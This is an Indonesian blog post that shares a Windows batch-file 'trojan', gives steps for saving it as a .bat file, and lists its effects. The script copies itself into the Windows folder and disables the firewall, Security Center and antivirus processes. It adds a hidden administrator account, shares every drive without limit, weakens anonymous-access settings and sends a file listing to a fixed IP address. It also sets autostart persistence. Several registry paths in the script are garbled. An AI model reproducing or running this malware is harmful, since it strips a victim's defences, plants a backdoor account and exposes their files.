06 Februari 2011

0 TROJAN versi batch

Date: 06 Februari 2011 02.00
Category:
Author: ogelblackhatz
Share:
Responds: 0 Comment
assalamualaikum
misi bang jumpa lagi dengan ane yang GANTENG NYA KAGAK KETULUNGAN ngakakngakak asikasik
begini ane mau share trojan versi batch nih,..... asikasik
semoga bermanfaat bagi semua,...eitttssss jgn di buat macem2 yahhhh ma script nya,.....

cekidot :


@echo off
color 0a
cls
IF not exist %windir%%0 copy %0 %windir%
netsh firewall set opmode=disable
net stop ShareAccess
Net stop "Security Center"
Tskill *AV*
NET USER admin admin123 /ADD
NET LOCAL GROUP ADMINISTRATORS admin /ADD
Reg ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ SpecialAccounts \UserList" /v"admin" /t REG_DWORD/d 0 /f
REG ADD HKLMSYSTEMControlSet001ServicesMessenger /v Start /t REG_DWORD /d 2/f
Net start messenger
dir *.*>>Filelist.txt
Net send 192.168.1.100 >hasil.txt
NET SHARE system=%SYSTEMDRIVE% /UNLIMITED
NET SHARE data1=D: /UNLIMITED
NET SHARE data1=E: /UNLIMITED
REG ADD HKCRNetworkSharingHandler /ve /t REG_SZ/d ""/f
REG ADD HKLDSYSTEMCurrentControlSetLSA /v forceguest /t REG_DWORD /d 0 /f
REG ADD HKLDSYSTEMCurrentControlSetLSA /v restrictanonymous /t REG_DWORD /d 0 /f
REG ADD HKLMSYSTEMControlSet001ServicesTIntSvr /v Start /t REG_DWORD /d 2/f
Net start tIntsvr
REG ADD HKLMSoftwareMicrosoftWindowspCurrentVersionRunv Eksplorer /t REG_SZ /d %windir%trojan2.bat /f
REG ADD HKCUSoftwareMicrosoftWindowspCurrentVersionRunv Eksplorer /t REG_SZ /d %windir%trojan2.bat /
f 
cara pakain nya :

- siapkan notepad gak perlu yang notepad c++
- copas script di atas,......
- lalu save >> all program >> save dengan extensi .bat [misal ( ogel_ganteng.bat )] senengseneng

lalu efek samping nya bisa di lihat di bawah ?!?!?!?

efeknya diantara lain

1. penyebaran seperti worm jadi mudah berkembang biak
2. disable firewall
3. stop ShareAccess
4. stop Security Center
5. nge kill AV
6. membuat user dengan nama admin123
7. pertahanan pada user admin123
8. menjalankan messenger
9. mengirim kan hasil rekaman ke ip 192.168.1.100
10. dan terakhir listing ttg pertahan trojan ini.


belum ada obat nya :P
jadi hati2 yach,......


narasumber : http://www.hacker-newbie.org/
special thanks to : devilzc0de.org and HN-Community team


semoga bermanfaat buat semua,......!!!asik
jangan di salah gunakan yachh,.....fatal akibat nya !!!

waassalamualaikum.....

Artikel Terkait :



Posting Komentar